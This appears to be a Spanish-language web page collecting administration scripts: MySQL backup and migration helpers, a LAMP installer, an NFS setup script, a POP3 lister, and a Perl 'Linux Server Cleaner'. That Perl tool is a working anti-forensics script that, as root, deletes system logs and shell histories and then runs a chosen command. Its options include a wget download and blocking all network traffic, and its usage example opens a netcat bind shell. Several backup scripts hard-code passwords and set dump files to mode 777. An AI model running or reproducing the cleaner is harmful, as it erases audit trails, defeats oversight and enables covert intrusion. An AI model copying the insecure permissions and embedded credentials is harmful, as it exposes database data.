 e "DB ${DB_HOST}@${DB_NAME} updated!"
 e_l

 echo
 echo
 echo "Finish!"
 ex 0
fi

# Mark all files as executed without execute files
if [ "$1" = "${ARG_MARK_UPDATED}" ] ; then
 # Update
 e "Marking as updated DB ${DB_HOST}@${DB_NAME}..."
 e_l

 # Create table if not exists
 create_table

 # Begin
 for file in *.sql ; do
  if [[ "$file" =~ ^[0-9]+[${CHAR_SEP_P}]+.+\.[sS][qQ][lL]$ ]] ; then
   read_file_data "$file"

   # Check
   q_e "DELETE FROM \`${DB_TABLE}\` WHERE \`version\` = ${version} AND \`status\` = '${DB_STATUS_ERROR}'"
   q_e "INSERT INTO \`${DB_TABLE}\` (\`version\`, \`description\`, \`file_name\`, \`status\`) VALUES (${version}, '$descq', '$file_nameq', '${DB_STATUS_EXECUTING}')" &> /dev/null

   if [ $? -ne 0 ]; then
    # Already executed
    e "* Already executed."
   else
    # Mark as executed
    e "* Marking as updated..."
    query_executed="UPDATE \`${DB_TABLE}\` SET \`status\` = '${DB_STATUS_EXECUTED}' WHERE \`version\` = ${version}"
    q_e "$query_executed"
    e "Query executed!"
   fi
   e_l
  fi
 done

 # Finish!
 e "DB ${DB_HOST}@${DB_NAME} marked as updated!"
 e_l

 echo
 echo
 echo "Finish!"
 ex 0
fi

# Create start status file
if [ "$1" = "${ARG_CREATE}" ] ; then
 if [ $# -eq 2 ] ; then
  file_out="$2"
  e "Creating '$file_out' file..."
  e_l

  # Create out file
  echo "INSERT INTO \`${DB_TABLE}\` (\`version\`, \`description\`, \`file_name\`, \`status\`) VALUES" > "$file_out"
  flag=1

  for file in *.sql ; do
   if [[ "$file" =~ ^[0-9]+[${CHAR_SEP_P}]+.+\.[sS][qQ][lL]$ ]] ; then
    if [ "$file" != "$file_out" ] ; then
     read_file_data "$file"

     query=$(echo "(${versionq}, '${descq}', '${file_nameq}', '${DB_STATUS_EXECUTED}')")

     # Add query
     if [ $flag -ne 1 ] ; then
      query=", $query"
     else
      flag=0
     fi
     echo "$query" >> "$file_out"

     e_l
    fi
   fi
  done

  echo ";" >> "$file_out"

  # End
  e "'$file_out' file created!"
  e_l

  echo
  echo
  echo "Finish!"
  ex 0
 fi
fi

# Invalid ACTION
e "INVALID ACTION!"
e_l
show_help
Leer más...

Script Backup MySQL.

d
Nombre: script_backup_mysql.sh
Autor: Desconocido
Visto y información de configuración en Ciber Terminal
#!/bin/bash
BACKUPUSER="backup_user"
BACKUPPASS="PASSWORD"
BACKUPPATH="/home/backup/mysql"
MYDATE="$(date +%Y%m%d)"
MYSQLDUMP="/usr/bin/mysqldump"
MYSQL="/usr/bin/mysql"
MYCNF="/etc/mysql/my.cnf"
ZIP="/bin/bzip2"
ZIPOPS="-9f"
IGNOREDDBB="Database|mysql|information_schema"
 
DBLIST=""
CHMOD="440"
CHOWN="root:admins"
 
BINLOGINDEX="/home/mysql/log/mysql-bin.index"
 
list_databases()
{
        DBLIST="`echo "show databases ;" | $MYSQL -u "$BACKUPUSER" --password="$BACKUPPASS" | egrep -v "$IGNOREDDBB"`"
         return 1
}
 
dump_databases()
{
        for i in $DBLIST
        do
                $MYSQLDUMP --master-data=2 -u "$BACKUPUSER" --password="$BACKUPPASS" $i > $BACKUPPATH/$i-$MYDATE.sql
                $ZIP $ZIPOPS $BACKUPPATH/$i-$MYDATE.sql
        done
        return 1
}
 
dump_grants()
{
        mysql -p$BACKUPPASS --batch --skip-column-names --execute="SELECT DISTINCT CONCAT('SHOW GRANTS FOR ',user,'@\'',host,'\';') AS query FROM user" mysql | mysql -p$BACKUPPASS --batch --skip-column-names mysql | perl -p -e '$_ =~ s/$/;/; END { print "FLUSH PRIVILEGES;n" }' > $BACKUPPATH/grants-$MYDATE.sql
        $ZIP $ZIPOPS $BACKUPPATH/grants-$MYDATE.sql
}
 
 
binlog_backup()
{
        local let LINES=$(cat $BINLOGINDEX | wc -l)
        let LINES--
        tar cjfv $BACKUPPATH/MYSQL_BINLOGS-$MYDATE.tar.bz2 $(head -$LINES $BINLOGINDEX | xargs)
}
 
 
 
purge_binlogs()
{
        local LOGBIN="$(cat $MYCNF | grep -v ^# | grep log_bin | awk -F= '{print $2}')"
        local BINLOGNAME="$(basename $LOGBIN | awk -F. '{print $1}')"
        local BINLOGPATH="$(dirname $LOGBIN)"
        local let MINAGE="$(cat $MYCNF | grep -v ^# | grep expire | awk -F\= '{print $2}')"
        let MINAGE=$((${MINAGE}+2))
        local LASTBINLOG="$(find $BINLOGPATH -mtime +$MINAGE -name "*$BINLOGNAME*" | tail -1)"
        if [[ "$LASTBINLOG" ]]
        then
                local LASTBINLOG="$(basename $LASTBINLOG)"
                echo "PURGE BINARY LOGS TO "$LASTBINLOG";" | $MYSQL -u "$BACKUPUSER" --password="$BACKUPPASS"
        fi
}
 
list_databases
dump_databases
dump_grants
purge_binlogs
 
find $BACKUPPATH -type f -exec chmod $CHMOD {} ;
find $BACKUPPATH -type f -exec chown $CHOWN {} ;
 
exit 0
Leer más...

Script para realizar backup de base de datos MySql y enviarlo por SSH a otro servidor.

d
Autor: FG
Visto en Crea tu software
!/bin/bash
 
#
# Autor : FG 29.03.2011
# Modif.: FG 30.03.2011
# Script para realizar backup de la base 
# de datos MySql
#
# Crontab:
# m h  dom mon dow   command
#00 04 01 * *    /usr/local/bin/backup.sh
#
 
# Configuracion base de datos
DbUser=root
DbHost=127.0.0.1
DbPass=1234
DbName=pruebas
 
# Configuracion numero maximo de backups a guardar
MaxBackups=7
 
# Configuracion de comandos
MySqlDump_cmd=/usr/bin/mysqldump
Tar_cmd=/bin/tar
LOCAL_SCP_CMD=/usr/bin/scp
LOCAL_SSH_CMD=/usr/bin/ssh
 
# Configuracion de directorios
DirTmp=/tmp
DirBackup=/backups 
 
# Configuracion archivo de backup
HOY=`date +"%Y-%m-%d_%H_%M_%S"`
FileNameBackup=backup_$HOY
 
# Configuracion archivos temporales y backups (Ojo no cambiar la extension del archivo)
FileTmpBackup=$DirTmp/$FileNameBackup.sql
FileBackup=$DirBackup/$FileNameBackup.tgz
BackupsFilePath=$DirTmp/backupspaths
 
# Configuracion SSH para enviar backup a otro servidor
ENABLED_REMOTE_BACKUP_SSH=1
CLAVE_SSH=/usr/local/bin/ssh_keys/id_rsa
IP_REMOTE_SSH=192.168.0.1
PORT_REMOTE_SSH=22
USER_SSH=root
HOY_SSH=`date +"%u"`
FileNameBackup_SSH=backup_$HOY_SSH.tgz
REMOTE_FILE_SSH=/ backups/ $FileNameBackup_SSH
LOCAL_FILE_SSH=$FileBackup
 
# Inicio del proceso de backup
 
echo "Generando backup de la base de Datos MySql..."
 
# Comprobacion de existencia de los directorios necesarios
if [ ! -d "$DirTmp" ]; then
    echo "Error, el directorio temporal '$DirTmp' no existe."    
    exit
fi
 
if [ ! -d "$DirBackup" ]; then
    echo "Error, el directorio para las copias '$DirBackup' no existe."
    exit
fi
 
# Crear archivo SQL con estructura y datos de la base de datos MySql   
$MySqlDump_cmd -u $DbUser --host $DbHost --password=$DbPass $DbName > $FileTmpBackup
chmod 777 $FileTmpBackup
 
# Comprime el script de backup de la base de datos MySql
$Tar_cmd czvf $FileBackup $FileTmpBackup &> /dev/null 
rm $FileTmpBackup 
 
# Borra los backups antiguos
echo "Realizado limpieza de backups antiguos..."
 
find $DirBackup -name '*.tgz' | sort -r > $BackupsFilePath
chmod 777 $BackupsFilePath
 
i=1
 
while read file; do        
    if [ $i -gt $MaxBackups  ]; then
        echo "Eliminando backup antiguo: $file "
        chmod 777 $file
        rm $file
    fi
 
    i=`expr $i + 1`                
done < $BackupsFilePath
 
rm $BackupsFilePath
 
# Envia el backup al servidor remoto si la funcion esta activada
if [ $ENABLED_REMOTE_BACKUP_SSH = 1 ]; then
       echo "Copiando backup al servidor remoto..."




      $LOCAL_SCP_CMD -P $PORT_REMOTE_SSH \ 
      -i $CLAVE_SSH $LOCAL_FILE_SSH \ 
      $USER_SSH@$IP_REMOTE_SSH:$REMOTE_FILE_SSH
fi
 
echo "Terminado de realizar backup de la base de Datos MySql."

Leer más...

Find all users in group

d
Nombre: belong.sh
Autor: @Tonejito
Visto en Tonejito
#!/bin/sh
#  = ^ . ^ =
#
# ./belong.sh - Get all users in group
# Andres Hernandez (tonejito)
# http://tonejito.blogspot.com:80/
 
SED=/bin/sed
AWK=/usr/bin/awk
GETENT=/usr/bin/getent
 
GROUP=${1}
 
# Find users whose initial login group is $GROUP
$GETENT passwd | awk -F : "\$4==`$GETENT group $GROUP | awk -F : '{print $3}'` {print \$1}"
 
# Find users whose supplementary group is $GROUP
$GETENT group $GROUP | $AWK -F : '{print $4}' | $SED -e 's/,/\n/g'
Leer más...

BH-Linux Server Cleaner

d
Nombre: BH-Linux Server Cleaner
Autor: Br4v3-H34r7
Visto en Shipcode's Misadventures
#!/usr/bin/perl
#==============================================================#
# BH-LSC 1.0 (BH-Linux Server Cleaner Version 1.0)
# Coded By: Br4v3-H34r7
# Contact: R00T[AT]Br4v3-H34r7[DOT]CoM
# Website: Br4v3-H34r7.CoM | BH2H.CoM
# License: GNU General Public License 3
#==============================================================#
# NOT FOR ILLEGAL USAGE - NOT FOR SCRIPT KIDDIES
#==============================================================#
# BEGIN THE CODE
{
 $uid = getpwuid($>); # Get User ID
 if($uid eq "root") # If root
 {
  @logs = ("/var/log/lastlog", "/var/log/messages", "/var/log/warn", "/var/log/wtmp", "/var/log/poplog", "/var/log/qmail", "/var/log/smtpd", "/var/log/telnetd", "/var/log/secure", "/var/log/auth", "/var/log/auth.log", "/var/log/cups/access_log", "/var/log/cups/error_log", "/var/log/thttpd_log", "/var/log/spooler", "/var/spool/tmp", "/var/spool/errors", "/var/spool/locks", "/var/log/nctfpd.errs", "/var/log/acct", "/var/apache/log", "/var/apache/logs", "/usr/local/apache/log", "/usr/local/apache/logs", "/usr/local/www/logs/thttpd_log", "/var/log/news", "/var/log/news/news", "/var/log/news.all", "/var/log/news/news.all", "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", "/var/log/news/suck.err", "/var/log/news/suck.notice", "/var/log/xferlog", "/var/log/proftpd/xferlog.legacy", "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", "/var/log/httpsd/ssl.access_log", "/var/adm", "/var/run/utmp", "/etc/wtmp", "/etc/utmp", "/etc/mail/access", "/var/log/mail/info.log", "/var/log/mail/errors.log", "/var/log/httpd/*_log", "/var/log/ncftpd/misclog.txt", "/var/account/pacct", "/var/log/snort", "/var/log/bandwidth", "/var/log/explanations", "/var/log/syslog", "/var/log/user.log", "/var/log/daemons/info.log", "/var/log/daemons/warnings.log", "/var/log/daemons/errors.log", "/etc/httpd/logs/error_log", "/etc/httpd/logs/*_log", "/var/log/mysqld/mysqld.log"); # Logs Locations
  @shells_history = ("/root/.ksh_history", "/root/.bash_history", "/root/.sh_history", "/root/.history", "/root/*_history", "/root/.login", "/root/.logout", "/root/.bash_logut", "/root/.Xauthority"); # Shells History Locations
  if(@ARGV eq 0)
  {
   print "\n\t+--------------------------+\n";
   print "\t|        BH-LSC 1.0        |\n";
   print "\t|   Coded By Br4v3-H34r7   |\n";
   print "\t| Br4v3-H34r7.CoM|BH2H.CoM |\n";
   print "\t+--------------------------+\n\n";
   
   print "[*] FastMode Usage: perl $0 [Seconds] [Command(s)]\n";
   print "[*] EXAMPLE: perl $0 30 \"nc -l -p 3434 -e /bin/bash\"\n\n";
   
   print "[+] Start Clean The Server? (Y/N): ";
   chomp($Clean = ); # Get The Answer
   $LClean = "\L$Clean"; # Make User Input Lowercase Character
    if($LClean eq "y") # Answer Yes
    {
     print "[+] Clean The Server After You Exit? (Y/N): ";
     chomp($AfterExit = ); # Get The Answer
     $LAfterExit = "\L$AfterExit"; # Make User Input Lowercase Character
     if($LAfterExit eq "y") # Answer Yes
     {
      print "[+] After How Many Time? (Seconds): ";
      chomp($Seconds = ); # Get The Seconds
      
      print "[+] Run Custom Command After Cleaning The Logs? (Y/N): ";
      chomp($RunAfter = ); # Get The Answer
      $LRunAfter = "\L$RunAfter"; # Make User Input Lowercase Character
       if ($LRunAfter eq "y") # Answer Yes
       {
        print "    (1) Make This Tool Remove It Self\n";
        print "    (2) Delete Custom File From The Server\n";
        print "    (3) Get File To The Server (Using \"wget\")\n";
        print "    (4) Don't Allow Any Server Connections (Using \"iptables\" Firewall)\n";
        print "    (5) Use Other Or Multi Commands (Use \";\" Between The Commands)\n";
        
        print "[+] Enter The Number Of Your Choice: ";
        chomp($theanswer = ); # Get The Answer
         if($theanswer eq 1) # Make This Tool Remove It Self
         {
          use Cwd qw(realpath);
          $toolpath = realpath($0); # Get The Tool Name
          $command = ("rm -rf \"$toolpath\""); # Set After Exit Command
         } 
         elsif($theanswer eq 2) # Delete Custom File From The Server
         {
          print "[+] Enter File Location: ";
          chomp($file = ); # Get File Location
          $command = ("rm -rf \"$file\""); # Set After Exit Command
         }
         elsif($theanswer eq 3) # Get File To The Server
         {
          print "[+] Enter File URL: ";
          chomp($wget_url = ); # Get File URL
          print "[+] Enter Save Location: ";
          chomp($wget_location = ); # Get Save Location
          $command = ("wget -O $wget_location $wget_url"); # Set After Exit Command
         }
         elsif($theanswer eq 4) # Don't Allow Any Server Connections
         {
          print "[+] DANGEROUS This Choice Will Make The Server Drop INPUT/OUTPUT/FORWARD Connections (Y/N): ";
          chomp($answer5 = ); # Get The Answer
          $Lanswer5 = "\L$answer5"; # Make User Input Lowercase Character
           if ($Lanswer5 eq "y") # Answer Yes
           {
            $command = ("/sbin/iptables -F;/sbin/iptables -P INPUT DROP;/sbin/iptables -P OUTPUT DROP;/sbin/iptables -P FORWARD DROP"); # Set After Exit Command
           }
           else # Error Input
           {
            print "[!] Error: Wrong Input... Skipped!\n";
           }
         } 
         elsif($theanswer eq 5) # Use Other Or Multi Commands
         {
          print "[+] Enter The Command(s): ";
          chomp($command = ); # Set After Exit Command
         }
         else # Error Input
         {
          print "[!] Error: Wrong Input... Skipped!\n";
         } 
       }
       elsif($LRunAfter eq "n") # Answer No
       {
        print "[-] Answer No, Run Custom Command After Cleaning The Logs... Skipped!\n";
       }
       else # Error Input
       {
        print "[!] Error: Wrong Input... Skipped!\n";
       }
       print "[+] You Have \"$Seconds\" Seconds To Exit The Server\n";
       sleep $Seconds; # Wait For Some Seconds
     } 
     elsif($LAfterExit eq "n") # Answer No
     {
      print "[-] Answer No, Delete Server Logs After Exit... Skipped!\n";
     }
     else # Error Input
     {
      print "[!] Error: Wrong Input... Skipped!\n";
     }
      print "[+] Start Cleaning The Server...\n";
      sleep 2; # Wait For 2 Seconds
      
      unlink @logs; # Deleting System Logs
      print "[+] Server Logs Deleted Successfully\n";
      sleep 2; # Wait For 2 Seconds
      
      unlink @shells_history; # Deleting Shells History
      print "[+] Shells History Deleted Successfully\n\n";
      
      system $command; # Run The Command
    }
    elsif($LClean eq "n") # Answer No
    {
     print "[-] Answer No, Exit With Out Cleaning... Exit!\n";
    }
    else # Error Input
    {
     print "[!] Error: Wrong Input... Exit!\n";
    }
  }
  else # FastMode
  {
   sleep $ARGV[0]; # Wait For Some Seconds
   unlink @logs; # Deleting System Logs
   unlink @shells_history; # Deleting Shells History
   system $ARGV[1]; # Run The Command(s)
  }
 }
 else # If Not root
 {
  print "[!] Error: You Must Be Server \"root\" To Use This Tool... Exit!\n";
 }
} 
# END THE CODE
#==============================================================#
Leer más...

Webinstall.sh

d
Descripción: Shell Script to install dependencies for running PHP applications with mod_fcgi
Autor: Finn Hensner
Nombre: webinstall.sh




#!/bin/bash
# Shell script to install LAMP with dependencies for running PHP applications
# with mod_fcgi
# -------------------------------------------------------------------------
# Version 1.1 (August 18 2011)
# -------------------------------------------------------------------------
# Copyright (c) 2011 Finn Hensner 
# This script is licensed under GNU GPL version 2.0 or above
# -------------------------------------------------------------------------
apt-get update
aptitude install apache2 apache2-suexec libapache2-mod-fcgid php5-cgi
a2dismod php5
a2enmod rewrite
a2enmod suexec
a2enmod include
a2enmod fcgid

apt-get install mysql-server
apt-get install php5-gd
apt-get install php5-common php5-mysql

sleep 1
echo "Adding extensions and fixes to custom ini"
cat > /etc/php5/conf.d/custom.ini << EOF
cgi.fix_pathinfo = 1
extension=gd2.so
extension=pdo.so
extension=pdo_mysql.so 
extension=php_pgsql.so
extension=php_pdo_pgsql.so
EOF

sleep 1
echo "Add server name to Apache config"
echo "ServerName 127.0.0.1" >> /etc/apache2/apache2.conf

sleep 1
echo "Installing ProFTPd server"
apt-get purge proftpd
apt-get install proftpd
#jail users in their home directory
echo -e "\nDefaultRoot ~\n" >> /etc/proftpd/proftpd.conf

sleep 1
echo "Removing default virtual host."
rm /etc/apache2/sites-available/default
rm /etc/apache2/sites-enabled/default-000

sleep 1
echo "Restarting apache2 and proftpd"
service apache2 restart
service proftpd restart
Leer más...

Script Bash para listar correo de servidor POP3

d
Autor: efollana
Descripción: Script Bash para listar correo de servidor POP3

 #!/bin/bash
 # Configuracion de la cuenta
IP=192.168.0.1
PORT=110
MAIL_ADDRESS=pruebas@gmail.com
PASSWORD=1234
 cat < < EOF | netcat
$IP $PORT user $MAIL_ADDRESS pass $PASSWORD list EOF

  Fuente
Leer más...

configNFS.bash

d
Nombre:configNFS.bash
Autor: Soal
Correo: garcia.robertogarcia@gmail.com
Descripción: Script que permite la instalación del servicio NFS en sistemas tipo Debian
#!/bin/bash
#Copyright (C)2012  soal

#This program is free software; you can redistribute it and/or
#modify it under the terms of the GNU General Public License
#as published by the Free Software Foundation; either version 2
#of the License, or (at your option) any later version.

#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.

#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

echo 'Instalacion del servicio NFS'
versionOS='/etc/apt/'
if [ -d ${vserionOS} ];then
	user=$(whoami)	
	if [ ${user} = root ];then
		echo 'Comprobando que cuentes con conexion a internet'
		apt-get install -y nfs-common nfs-common nfs-kernel-server
		
		echo  "Instalacion completada"
		read -p "Deseas Configurar un directorio a compartiri (C|c),  Descubrir recursos en un server (D|d) o Salir (S|s): " opc
		case $opc in
			C|c)
	   		echo "Abriendo el archivo export"
			sleep 5
			vi /etc/exports
	   		;;
			D|d)
   			read -p "Direccion IP del servidor NFS: " dir
			comando=$(showmount -e $dir)
			$comando	
			read -p "Deseas montar algun recurso remoto? (si|no)" res
				case $res in
				si)
				read -p "Dame la ruta del directorio local donde se montara el NFS(ruta absoluta)." propio
				read -p "Dame la ruta del recurso NFS foraneo que deseas montar(ruta absoluta)." foraneo 
				comando1=$(mount -t nfs ${dir}:$propio $foraneo)
				exit 0
				;;
				no)
				echo "Hasta luego"
				exit 0
				;;
				*)
				echo "Opcion no valida"
				exit 1
				;;
				esac	
   			;;
			S|s)
			echo "Hasta Luego"
			;;
			*)
			echo "Opcion no valida, saliendo"
			exit 1
			;;
			esac
		exit 0
	else
		echo 'No tienes suficientes privilegios'
		exit 1
	fi
else
	echo 'Tu sistema no es tipo DEBIAN'
	exit 1
fi
exit 
Leer más...